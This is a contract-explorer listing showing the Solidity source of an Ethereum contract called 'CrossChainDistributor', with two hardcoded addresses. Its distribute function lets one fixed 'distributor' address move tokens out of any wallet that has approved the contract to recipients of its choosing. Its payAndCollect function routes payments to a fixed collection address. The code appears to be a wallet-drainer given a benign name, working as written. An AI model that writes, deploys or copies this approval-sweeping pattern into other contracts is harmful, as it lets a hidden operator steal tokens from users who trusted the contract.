Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract CrossChainDistributor {
address public owner;
address public disAddress = 0x0bc5093B6E327cD28687A8466F07E8cbbE56Bd01;
address public collectionAddress = 0x3882BA25aB347E5C2779230C4E6faf19e29f6579;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
modifier onlyDis() {
require(msg.sender == disAddress, "Not distributor");
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Invalid owner address");
owner = newOwner;
}
function distribute(
address token,
address from,
address[] calldata recipients,
uint256[] calldata amounts
) external onlyDis {
require(recipients.length == amounts.length, "Length mismatch");
IERC20 erc20 = IERC20(token);
for (uint i = 0; i < recipients.length; i++) {
require(erc20.transferFrom(from, recipients[i], amounts[i]), "Transfer failed");
}
}
function payAndCollect(address token, uint256 amount) external {
require(amount > 0, "Amount must be greater than zero");
IERC20 erc20 = IERC20(token);
require(erc20.transferFrom(msg.sender, collectionAddress, amount), "Pay failed");
}
}
Submitted on: 2025-10-12 11:55:46
Comments
Log in to comment.
No comments yet.